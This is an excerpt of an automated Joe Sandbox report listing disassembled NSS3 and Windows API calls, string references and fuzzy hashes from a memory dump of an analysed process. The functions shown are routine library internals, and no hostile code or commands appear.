Part of subcall function 6C70BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C793CAF,?), ref: 6C70BB1A
Part of subcall function 6C70BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C793CAF,?), ref: 6C70BB3B

PR_EnterMonitor.NSS3(?), ref: 6C793CCB

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

PR_EnterMonitor.NSS3(?), ref: 6C793CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C793CF8
PR_ExitMonitor.NSS3(?), ref: 6C793D15
PR_ExitMonitor.NSS3(?), ref: 6C793D2E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: eb3d66c16ff560bc952150f95b0a9d8406aa99f31ee5bc8aad498a7aa86347b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 3B11E2B5A10600AFF7205A65FE8AB9BB2E4AB1130DF504534E41E8BB61E632E919C653

Function 6C75FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C75FE08

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C75FE1D

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C75FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C75FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C75FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C75FE6F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 22648466e61affb551e79afd1c79f0c1ac1a35201c00076f4e1d0f6893526741
Instruction ID: 3e9c49d55286facb0a5e8a001848568f0da1a5d593b346a8e3efd70e902a1a29
Opcode Fuzzy Hash: 22648466e61affb551e79afd1c79f0c1ac1a35201c00076f4e1d0f6893526741
Instruction Fuzzy Hash: 07110CB67012456BEB004F65ED48A5B73DCAF54399F548034ED1D87F12EB31E924CB91

Function 6C80FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C80FD9E

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C80FDB9

Part of subcall function 6C6EA900: TlsGetValue.KERNEL32(00000000,?,6C8614E4,?,6C684DD9), ref: 6C6EA90F
Part of subcall function 6C6EA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6EA94F

PR_Unlock.NSS3 ref: 6C80FDD4
PR_Lock.NSS3 ref: 6C80FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C80FE0D
PR_Unlock.NSS3 ref: 6C80FE23

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 6f8a52d335418de6fc89113cd132bc7bed251e048130b022acf70e3fa59c141d
Instruction ID: eaa54d5b863c20afa3551d550dea2b2534dfb591bfcdfff414a3d8b64278615f
Opcode Fuzzy Hash: 6f8a52d335418de6fc89113cd132bc7bed251e048130b022acf70e3fa59c141d
Instruction Fuzzy Hash: A10182B6A04201AFDF254E16FD048527632BB2236C7154775E82547BA2EB22DD28C6C6

Function 6C6EAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C6EAF5C
misuse, xrefs: 6C6EAFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EAFC4
%s at line %d of [%.10s], xrefs: 6C6EAFD3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: afb8403d4f40ff72dfca35753e2119a4b8c9f3f45b1215c070269c65179e720d
Instruction ID: dc54658fbb1fd157ae38d6203d31755852c87cc853a1950ee311fc746f70b8e4
Opcode Fuzzy Hash: afb8403d4f40ff72dfca35753e2119a4b8c9f3f45b1215c070269c65179e720d
Instruction Fuzzy Hash: 2391F675B0A2158FDB14CF59C850BAABBF1BF89314F1945A9E855AB752C330EC01CBA8

Function 6C74FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C74FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C74FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C74FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C74FDDE

Part of subcall function 6C758800: TlsGetValue.KERNEL32(?,6C76085A,00000000,?,6C708369,?), ref: 6C758821
Part of subcall function 6C758800: TlsGetValue.KERNEL32(?,?,6C76085A,00000000,?,6C708369,?), ref: 6C75883D
Part of subcall function 6C758800: EnterCriticalSection.KERNEL32(?,?,?,6C76085A,00000000,?,6C708369,?), ref: 6C758856
Part of subcall function 6C758800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C758887
Part of subcall function 6C758800: PR_Unlock.NSS3(?,?,?,?,6C76085A,00000000,?,6C708369,?), ref: 6C758899

Strings

pkcs11:, xrefs: 6C74FC4F

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 2b9d3280f9eea6518793e466ca9a1f5c50d1d11e797385f9778b879fc91a7f42
Instruction ID: 9acd59750a28840407b7a6501f01514909edeba5a911184926c5cc3db70710bb
Opcode Fuzzy Hash: 2b9d3280f9eea6518793e466ca9a1f5c50d1d11e797385f9778b879fc91a7f42
Instruction Fuzzy Hash: F451F0B1A40211ABEB108F699F4AFAA3365AF4135CF548075DD146BB81EB30E814CFA2

Function 6C68BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C68BE02

Part of subcall function 6C7B9C40: memcmp.VCRUNTIME140(?,00000000,6C68C52B), ref: 6C7B9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68BE9F

Strings

database corruption, xrefs: 6C68BE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68BE89
%s at line %d of [%.10s], xrefs: 6C68BE98

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 543463517c4c037c1904ecc1e57fb459065f4de38996540a2ba8dd0db2e6fad7
Instruction ID: d115f833f3db6ce0b8eb3292e7153cabc54ab2757b2e5513756afe9fd5ad510a
Opcode Fuzzy Hash: 543463517c4c037c1904ecc1e57fb459065f4de38996540a2ba8dd0db2e6fad7
Instruction Fuzzy Hash: 05314731A456668FC700CF68CC9CAABBBB1AF86394B098554EE581BB41D370EC06C3F4

Function 6C701EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701EE2

Part of subcall function 6C761820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C701D97,?,?), ref: 6C761836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F37
DER_DecodeTimeChoice_Util.NSS3(?,dLpl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F53

Strings

dLpl, xrefs: 6C701F2B, 6C701F51

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLpl
API String ID: 3216063065-2277220201
Opcode ID: c742bc8eaf3ddd5f733f3637fccf369722c575ba901f07f421d9f2e7593bbd74
Instruction ID: b50554a6085f9c85fe04e9dffab03a80b39ea1959930556df6a56bed280fc5e5
Opcode Fuzzy Hash: c742bc8eaf3ddd5f733f3637fccf369722c575ba901f07f421d9f2e7593bbd74
Instruction Fuzzy Hash: C02150B1605216AFC740CE2ADE04A9BB7E9AB8479DF40092DEC44C3A40F730E558CBD2

Function 6C6F0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C6F0BDE), ref: 6C6F0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C6F0BDE), ref: 6C6F0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C6F0BDE), ref: 6C6F0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C6F0BDE), ref: 6C6F0E32

Strings

%s incr => %d (find lib), xrefs: 6C6F0E2D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2d37711696f4cd68a0e1c7e2979916f6e72e4692ec1c8c21af71f509f5a82ce1
Instruction ID: 81bb00edc7817f264eb9a21175458e3463a9a07a2e82cfef28ecfa9243259a20
Opcode Fuzzy Hash: 2d37711696f4cd68a0e1c7e2979916f6e72e4692ec1c8c21af71f509f5a82ce1
Instruction Fuzzy Hash: FE01F1727002149FE6308F298C49E67B3EEDB45B08B04487DE909D3A42E761EC16CBE1

Function 6C7AAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC2D

Part of subcall function 6C74ADC0: TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE10
Part of subcall function 6C74ADC0: EnterCriticalSection.KERNEL32(?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE24
Part of subcall function 6C74ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C72D079,00000000,00000001), ref: 6C74AE5A
Part of subcall function 6C74ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE6F
Part of subcall function 6C74ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE7F
Part of subcall function 6C74ADC0: TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEB1
Part of subcall function 6C74ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEC9

PK11_FreeSymKey.NSS3(?,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC59
free.MOZGLUE(8CB6FF01,6C786AC6,?,?,?,?,?,?,?,?,?,?,6C795D40,00000000,?,6C79AAD4), ref: 6C7AAC62

Strings

@]yl, xrefs: 6C7AAC05

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]yl
API String ID: 1595327144-1691211022
Opcode ID: 160e891dab6f24cec4b214c534612e3bc929b7585f2df50a7318ca8fcc5be063
Instruction ID: 5c0ef5fc7182319a61cd9911c43402cb4a8f5671bead164b9ab68f33ecf3ad60
Opcode Fuzzy Hash: 160e891dab6f24cec4b214c534612e3bc929b7585f2df50a7318ca8fcc5be063
Instruction Fuzzy Hash: FD014FB56002009FEB10DF55EAC5B5677A8AF4476CF188078E9498F706D735E845CFA2

Function 6C699C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C699CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C699D45
EnterCriticalSection.KERNEL32(?), ref: 6C699D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C699DDE

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: af7f1fd9746e0b2d04a47622d295a6ed90fdec4760f7a7c224e9b720fbf50b1f
Instruction ID: 7cd1e0245c7cc6127651dd72ca58e7ce6ed8f7033ce3e1cc0a4670c99fc2caf8
Opcode Fuzzy Hash: af7f1fd9746e0b2d04a47622d295a6ed90fdec4760f7a7c224e9b720fbf50b1f
Instruction Fuzzy Hash: 1EA1AC31B041018FEB68DF65E99867E3771BB8771DF18113CE40A47A41DB3AA846CBCA

Function 6C721E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C721ECC

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

TlsGetValue.KERNEL32 ref: 6C721EDF
EnterCriticalSection.KERNEL32(?), ref: 6C721EEF
PR_ExitMonitor.NSS3(?), ref: 6C721F37
PR_Unlock.NSS3(?), ref: 6C721F44

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 948a353427732d696c24b7f33c8275603a9dd50144968edd164e7d940dc96245
Instruction ID: fb305ad0068a0292aa1b1909054c27e76d5d993bf23bb6baf98250f6048be039
Opcode Fuzzy Hash: 948a353427732d696c24b7f33c8275603a9dd50144968edd164e7d940dc96245
Instruction Fuzzy Hash: CF71BE729083019FD720CF24D944A5BB7F5FF88358F144929E8A893B21E736F959CB92

Function 6C7ADD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7ADD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C7ADE77

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: deec06b65b3a778f0e7bfbc5fa628838e09cc1cc42c6d9835a9339e1be34b9fd
Instruction ID: ebee2bd04381fb5372e047a0b9ad1bf48565f17c5f155adf9c11d210776d2c88
Opcode Fuzzy Hash: deec06b65b3a778f0e7bfbc5fa628838e09cc1cc42c6d9835a9339e1be34b9fd
Instruction Fuzzy Hash: C1715571A04314CFDB20CF99C68468AB7B4BF69718F25827EDD696B702D770A942CF80

Function 6C71DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(D958E852,6C721397,5B5F5EC0,?,?,6C71B1EE,2404110F,?,?), ref: 6C71AB3C
Part of subcall function 6C71AB10: free.MOZGLUE(D958E836,?,6C71B1EE,2404110F,?,?), ref: 6C71AB49
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(5D5E6C91), ref: 6C71AB5C
Part of subcall function 6C71AB10: free.MOZGLUE(5D5E6C85), ref: 6C71AB63
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C71AB6F
Part of subcall function 6C71AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C71AB76

TlsGetValue.KERNEL32(?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71E029
PK11_IsLoggedIn.NSS3 ref: 6C71E046

Part of subcall function 6C728F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FAF
Part of subcall function 6C728F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FD1
Part of subcall function 6C728F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FFA
Part of subcall function 6C728F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729013
Part of subcall function 6C728F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729042
Part of subcall function 6C728F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C72905A
